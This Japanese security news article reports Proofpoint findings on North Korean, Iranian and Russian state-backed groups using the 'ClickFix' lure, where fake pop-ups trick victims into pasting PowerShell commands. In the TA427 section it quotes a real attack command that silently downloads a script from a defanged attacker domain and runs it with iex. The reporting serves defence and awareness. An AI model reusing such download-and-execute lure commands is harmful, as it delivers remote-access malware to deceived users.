国家支援ハッカーがサイバー攻撃に「ClickFix」を採用-新たなソーシャルエンジニアリング手法の解説|セキュリティニュース

投稿日時: 2025年04月22日更新日時: 2025年04月22日

2025年初頭、セキュリティ企業Proofpointが報告した調査によると、北朝鮮、イラン、ロシアの国家支援型攻撃者たちが、新たなソーシャルエンジニアリング手法「ClickFix」を採用していたことが明らかになりました。この手法はもともとサイバー犯罪者によって使用されていたもので、感染チェーンの中でユーザー自らに悪意あるPowerShellコマンドを実行させるという新たなアプローチです。

1 ClickFixとは？
2 北朝鮮：TA427の事例
3 イラン：TA450の事例
4 ロシア：UNK_RemoteRogueとTA422の事例
5 ClickFixは今後どうなるのか？
6 日本企業への示唆
7 まとめ

ClickFixとは？

ClickFixは、偽のエラーメッセージやポップアップウィンドウを用いて、利用者に手動でコマンドをコピー＆ペーストさせることで、マルウェアを実行させる技術です。

見た目にはOSからの正規の指示のように見せかける点が特徴で、フィッシングの中でも極めて巧妙な“対話型”の誘導型攻撃と位置付けられます。

この手法は2024年にサイバー犯罪者集団「TA571」などによって使用されはじめ、短期間でさまざまな犯罪活動へ広まりました。そして2024年末から2025年初頭にかけて、北朝鮮・イラン・ロシアの国家支援アクターまでもがこの手法を模倣し、自国のスパイ活動に組み込んでいたことが明らかになりました。

北朝鮮：TA427の事例

TA427（別名：Kimsuky）は、2025年1月から2月にかけて、日米韓の外交関係者を装った攻撃メールを複数送信。偽の「アンバサダーからの手紙」などの添付PDFファイル内に悪意あるリンクを仕込み、クリック後に誘導されたページで「登録コード」の名目でPowerShellコマンドをユーザーに実行させる方式を採用していました。

このコマンドは複数のステップを経て、最終的にQuasarRATというリモートアクセス型マルウェアを展開。さらに定期的にVBSスクリプトを実行するタスクスケジューラも作成され、持続的な侵入が可能となっていました。

日本の外交官になりすましたメールを配信

2025年2月、TA427のオペレーターは日本の外交官になりすまし、ワシントンD.C.の大使館で駐米大使山田重夫大使との面会を手配するよう依頼するメールを送信した。

このメールは[日本大使館] 面会依頼という件名で、添付ファイルは韓国の駐米大使趙鉉東(チョン・ヒョンドン)の手紙という「無害」なファイルでした。

初回のメールは一切有害な活動はされません。

日本の外交官になりすましメールを配信

フィッシングページへ誘導：悪意のあるリンク付き添付ファイル

その後、攻撃者は標的の個人用メールアカウントと業務用メールアカウントの両方に連絡を取り、悪意のあるメールを送信しました。

攻撃者からの電子メールの返信には、タイトルにターゲットの名前を使用した PDF 添付ファイルが含まれていました。

フィッシングページへ誘導：PDFにセキュアなファイル保存サービスと明記し、フィッシングページへ誘導

メールに添付されていたPDF には、セキュアドライブであると主張するダイナミック DNS ドメインのサブドメインを使用したランディングページへのリンクが含まれていました。

フィッシングページでPDFをダウンロードしようとすると・・・

ランディングページには、Questionnaire.pdf という偽の PDF ファイルがホストされていました。

偽のPDFをダウンロードしようとすると、別のページにリダイレクトされ、ポップアップアラートが表示され、文書を閲覧するには登録が必要だと案内されます。

ユーザー登録を促し、コードをコピーアンドペーストで実行させようとする

デバイス登録を選択するとユーザーが登録ボタンをクリックすると、以下に示すように、登録方法の指示とともにコードの入力を求める別のポップアップが表示されます。

PowerShell のコマンドを実行させる:ClickFix

デバイス登録にはコード実行を促す注意文とコード実行の依頼が表示されます

コードは以下のようなPowerShell コマンドを含むレジスタコードを手動でコピーして貼り付け、ターミナルで実行する必要があります。

  powershell -windowstyle hidden -Command iwr
      "hxxps://securedrive.fin-tech[.]com/docs/en/t.vmd" -OutFile
      "$env:TEMP\p"; $c=Get-Content -Path "$env:TEMP\p" -Raw; iex
      $c;                                                                    
               3Z5TY-76FR3-9G87H-7ZC56

リモートでホストされている2つ目のPowerShellコマンドを取得して実行し、攻撃チェーンの前半で参照されたおとりPDF（Questionnaire.pdf）をユーザーに表示しました。この文書は日本の外務省を装い、核拡散と北東アジアにおける政策に関する質問が掲載されていました。

2つ目のPowerShellスクリプトは、Update-out-of-date-20240324001883765674というスケジュールタスクによって19分ごとに実行される、temp.vbsというVBSスクリプトを作成しました。

また、20分ごとにVBSスクリプトを実行するUpdate-out-of-date-20240324001883765675という2つ目のスケジュールタスクも作成されましたが、このVBSスクリプトは存在せず、タスクの目的は不明です。

複数のステップを経て、最終的にQuasarRATというリモートアクセス型マルウェアを展開。さらに定期的にVBSスクリプトを実行するタスクスケジューラも作成され、持続的な侵入が可能となっていました。

イラン：TA450の事例

2024年11月、イランの攻撃グループTA450（別名：MuddyWater）は、Microsoftを装う英語のフィッシングメールを中東諸国に送信。メール本文に含まれた手順に従わせることで、管理者権限でのPowerShell実行とリモート管理ツール（Level RMM）のインストールを促しました。

これにより、攻撃者は対象の端末に不正アクセスし、情報収集やデータ流出を行うことが可能となります。攻撃対象には、金融・政府機関が多く含まれていました。

ロシア：UNK_RemoteRogueとTA422の事例

ロシアでは、2つのグループがClickFixを利用していました。

UNK_RemoteRogueは、2024年12月に防衛関連企業を標的にした攻撃で、Zimbraメールサーバを中継インフラとして悪用し、偽のMicrosoft Word風ページでClickFixを実装。最終的にEmpire C2を介したPowerShellコードが実行されました。
TA422（APT28）は、2024年10月にGoogleスプレッドシートを装ったフィッシングメールを使用し、reCAPTCHA画面のあとにSSHトンネルを開くPowerShellコマンドを表示するという高度なClickFix手法を確認されています。